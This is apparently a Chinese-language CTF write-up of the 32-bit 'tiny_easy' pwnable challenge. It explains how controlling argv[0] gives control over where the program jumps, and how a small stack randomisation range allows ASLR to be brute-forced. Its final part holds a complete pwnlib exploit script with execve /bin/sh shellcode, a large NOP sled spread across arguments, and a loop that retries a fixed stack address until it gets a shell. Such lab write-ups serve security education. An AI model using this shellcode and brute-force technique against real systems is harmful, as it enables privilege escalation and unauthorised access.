前幾天在國外的某個ctf社區發現了一道好玩的賽題。
建議ctfer在閱讀這篇文章的時候,首先要掌握以下的一些內容,因爲這些東西對於ctf比賽來說,都是很有必要掌握的。
- 基本的Linux知識
- 對於X86有基本的瞭解
- 瞭解堆棧工作原理
- C語言的基本知識
- 瞭解緩衝區溢出漏洞的原理
- 基本的python開發能力
本文涉及知識點實操練習:PWN綜合練習(一) (CTF PWN進階訓練實戰,嘗試溢出一個URL解碼程序。)
計算機字節和shell的魅力
我第一次接觸到網絡安全編程時,我就已經發現開發其實是一門藝術,並且研究員需要很高的水平才能勝任這一工作,因爲很多時候你需要各種領域的知識進行結合。例如。C語言、彙編、堆棧、利用python進行漏洞開發利用等,當然,這些只是冰山一角。
對於一個剛進入漏洞利用開發領域的小白來說,這可能是很難的,因爲這是一個從零開始進行積累的過程。
作爲一名小菜雞,我決定先挑戰這個網站的最簡單的pwn賽題。別問爲什麼,問就是別的試題太難了。
進入正題
讓我們先進入SSH!
ssh [[email protected]](mailto:[email protected]) -p2222
(對於Windows用戶,我強烈推薦使用xshell,它是一款很好上手的軟件,可用於處理ssh會話並輕鬆下載軟件)
在ssh內,我們運行“ ls”命令,僅找到一個二進制文件和我們的flag文件,由於我們沒有任何權限,因此無法進行讀取。
我們先下載二進制文件並對其進行一些檢查:先使用“ file”命令進行查看。該命令可以讓我們查看二進制文件的詳細信息,包括其體系結構,位數(x64與x32)和其他很多的細節。
從輸出的內容中我們可以看到,該文件是x86體系結構的32位ELF文件,並且是靜態鏈接的。
可是等等… 注意這個細節!
讓我們運行這個二進制文件,看看會發生什麼情況:
從二進制文件具有損壞的header並且在執行時崩潰的情況可以看出,我們猜測現在這個二進制文件可能與通常我們看到的文件有所不同。
讓我們在ida中打開二進制文件並檢查代碼
這可能是我見過的最簡短的文件了,整個程序只有4條指令。
我們從棧中執行兩個pop指令,從edx指向的地方取值,然後跳轉到它。
但是等等......這個程序中沒有進行任何調用,那麼哪些值是從棧中彈出的呢?
我們還是用gdb來檢查一下吧!
看一下堆棧,我們看到eax將接收值1,而edx將接收指向該字符串的指針
“/home/user/CTFs/Pwnables/tiny_easy/tiny_easy”,這就是我們的二進制文件的路徑!
如果繼續執行直到調用edx,我們就會明白爲什麼我們之前會收到段錯誤的原因了。
這個程序會試圖跳轉到地址0x6d6f682f,這對應字符串"/hom "的值。它是我們的二進制文件路徑的一部分。
我們繼續運行我們的程序,參數分別爲test1 test2 test3。我們可以通過在gdb中運行以下命令來達到這一目的。
run test1 test2 test3
我們可以看到,現在堆棧已經發生了變化,現在我們的堆棧中有參數,並且堆棧頂部的值已從0x1更改爲0x4。
還記得大一學的C語言中,main函數是如何接收輸入的嗎?
Int main(int argc, char * argv [], char * envp)
main中的argv [0]始終指向當前二進制文件的路徑,argv [1] argv [2]等將包含我們輸入的參數。
爲了能夠成功跳轉到所需的位置,我們需要控制argv [0]的值。如果它不是我們輸入的參數,我們該如何控制argv [0]呢?
下面隆重介紹一個在神奇的庫文件 -- pwnlib,Pwnlib是一個python庫,它使我們能夠輕鬆的和進程進行通信。
pwnlib.tubes.process允許我們創建自己的進程並控制它的不同參數(argv,envp)等等。
我編譯了以下的代碼片段來展示pwnlib的簡單使用方式:
int main(int argc, char * argv[])
{
printf("\nthis is our argv[0] %s\n", argv[0]);
}
當我編譯運行它的時候,得到了以下的結果。
我們可以使用pwnlib將argv [0]修改爲我們自己的字符串,
from pwnlib.tubes.process import *
argv_program=process(argv=["awdawd"], executable="/home/user/test_argv")
print argv_program.recv()
現在,運行我們的python程序,看看我們從test_argv程序中能得到什麼結果:
NICE !
現在,我們知道如何控制argv0參數了,這意味着我們可以在tiny_easy二進制文件中的任意位置進行跳轉。
下一步是檢查此二進制文件的安全屬性,讓我們運行checksec命令看看效果:
RELRO:這裏沒有RELRO保護;
堆棧:未發現堆棧canary機制;
NX: NX已禁用;
PIE: 無 PIE;
注意:默認情況下,ASLR在堆棧中是啓用狀態。
NX保護是一種保護機制,它不允許我們在二進制的代碼部分運行代碼,這意味着我們不能跳轉到棧或堆上的代碼來運行它們。
在這個例子中,我們可以看到這個二進制文件是在沒有保護的情況下進行編譯的,這意味着我們可以跳轉到堆上的代碼。
這裏需要強調一點的是:你如果一開始就直接檢查這類保護,整個過程會給你節省很多時間。
在這個例子中,因爲我們無法控制返回的地址,而且NX被禁用,那麼我們最好的選擇就是集中精力找到一種方法跳轉到棧上,並執行我們存儲在某個參數中的shellcode。
同時,另一方面,如果NX被啓用了,那麼這意味着我們無法跳轉到堆棧,我們需要找到一種不同的方式來運行我們的代碼(ret2libc等許多其他方法)。
現在我們可以控制我們要跳轉的位置了,同時我們需要處理ASLR在堆棧層已經被啓用這個問題。
我們可以嘗試找一條允許我們跳轉到堆棧的指令,然後運行我們的shellcode,程序中的其餘字節是elf頭的一部分。
我們也可以使用“ C”快捷鍵在IDA中查看這些字節的指令。
看來我們最好使用的指令是 "jmp esp"。這個指令將會跳轉到堆棧,在那裏我們能夠得到我們存儲在參數中的shellcode。
我喜歡手動進行搜索,所以我用online disassembling 來查找jmp esp指令由哪些操作碼組成。
如果我們嘗試反彙編jmp esp,那麼得到的結果是:ff e4
我們嘗試使用search-> bytesequence在IDA中搜索此字節。
what? 沒結果?
我試着搜索調用esp的字節,卻什麼也沒找到 !
這就鬱悶了!
我們想跳轉到堆棧上的代碼,但是由於ASLR的存在,我們不知道要跳轉到什麼地址。
我們嘗試找到一個指令,讓我們在不知道地址的情況下跳轉到堆棧,但我們沒有找到任何指令。
我嘗試了另一個騷操作:跳轉到一個允許你向代碼部分寫入字節的指令。
你可以嘗試用這個方法:用jmp esp操作碼覆蓋其中的一條指令的地址,然後跳轉到該指令的地址。
這個過程就像開火車一樣,邊開邊建軌道。
不幸的是,當我用view->Open subviews->segments看看有哪些段的權限的時候,發現了以下的內容。
代碼部分僅啓用了R和X權限
R-讀取權限
X-執行權限
W(寫)權限被禁用。
這意味着,如果我們重寫代碼部分的指令,程序就會崩潰。
我在這個程序上已經用了好幾個小時了,嘗試了不同的跳轉指令的方法,但是我找不到進入棧的方法。
然後,what should I do?
32位的ASLR
我開始嘗試查閱32位系統上的ASLR的實現原理(特別強調,我們的二進制文件是32位的)。我找到了下面的解釋:
"對於32位,有2^32 (4 294 967 296)個地址,然而,內核只允許一半的比特位(2^(32/2)=65 536)在虛擬內存中執行"。
這意味着堆棧的大小可以調整到65,536個字節。
如果我們可以控制數萬個shellcode字節,那麼我們就可以嘗試在堆棧中跳轉到一個固定的地址,這樣就會有很高的成功率。
下面我檢查了一下是否可以用長字符串發送大量的參數。
from pwnlib.tubes.process import *
for i in range(600):
argv.append("a"*1024)
argv_program=process(argv=["awdawd"], executable="/home/user/test_argv")
print argv_program.recv()
在本例中,我們向程序發送了6014400個字節併成功運行。
我們可以傳遞我們的參數來填滿nops,最後發送我們的shellcode。
這樣,我們就可以跳轉到堆棧上的一個隨機地址,希望能夠落在我們的nop指令上,然後我們就會一路滑向我們的shellcode。
我寫了以下的代碼,嘗試執行程序。
我們在這裏嘗試跳轉到堆棧上的一個恆定地址:0xffb05544,選擇這個地址有兩個原因。
1.在這個程序中,我注意到在用gdb執行了很多次之後,這個地址大部分時間都在堆棧的範圍內或者非常接近堆棧的範圍 。
2.我們需要一個沒有任何null字節的地址,否則我們會得到
一個異常:"Inappropriate nulls in argv[0]:"
所以我寫了以下代碼:
import struct
import random
from pwnlib.tubes.process import *
from pwnlib.exception import *
import pwnlib
EXECV = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
def build_shellcode(address):
"""
Build shellcode
address - address to jump to
"""
args = []
args.append(address)
shellcode = "\x90"*8000 + EXECV
for i in range(120):
args.append(shellcode)
return args
if __name__ == "__main__":
jump_address = struct.pack("I", 0xffb05544)
for i in range(10000000):
try:
prog_args = build_shellcode(jump_address)
print "attempt number: {}".format(i + 1 )
pro = process(argv=prog_args,
env={},
executable="/home/user/CTFs/Pwnables/tiny_easy/tiny_easy")
print "started_running address {}".format(hex(struct.unpack("I",jump_address)[0]))
pro.timeout=0.08
# Send command shell of the process
pro.sendline("echo we_made_it!")
# Recv the result of the command execution
data = pro.recvline()
if data:
print "received data!"
print data
break
except (EOFError, pwnlib.exception.PwnlibException) as e:
print e
這段代碼會運行tiny_easy二進制文件並跳轉到我們的shellcode,從而打開一個shell。如果我們成功了,那麼我們將能夠發送命令"echo we_made_it",看看它的輸出。
說幹就幹!
成功了!現在我們來CTF服務器上檢查一下。
請注意,我們需要將我們執行的命令從"echo we_made_it "改爲 "cat /home/tiny_easy/flag ",這樣就得到了flag。
我們可以使用 "scp "命令輕鬆地將我們的腳本上傳到服務器的tmp目錄下,就像這樣。
scp -P 2222 ./pwn_tiny.py [email protected]:/tmp/pwn_tiny.py
終於拿到了我們的flag !
總結
行文至此,本次測試也就結束了!文章略長,簡單做個總結:
在本文中,我們通過使用CTF示例討論了漏洞利用開發的過程,我們瞭解了程序如何從argv和argc接收輸入的參數。最後,瞭解了由於較小的隨機範圍,32位系統中的ASLR爲何容易受到攻擊,以及如何利用此漏洞進行攻擊。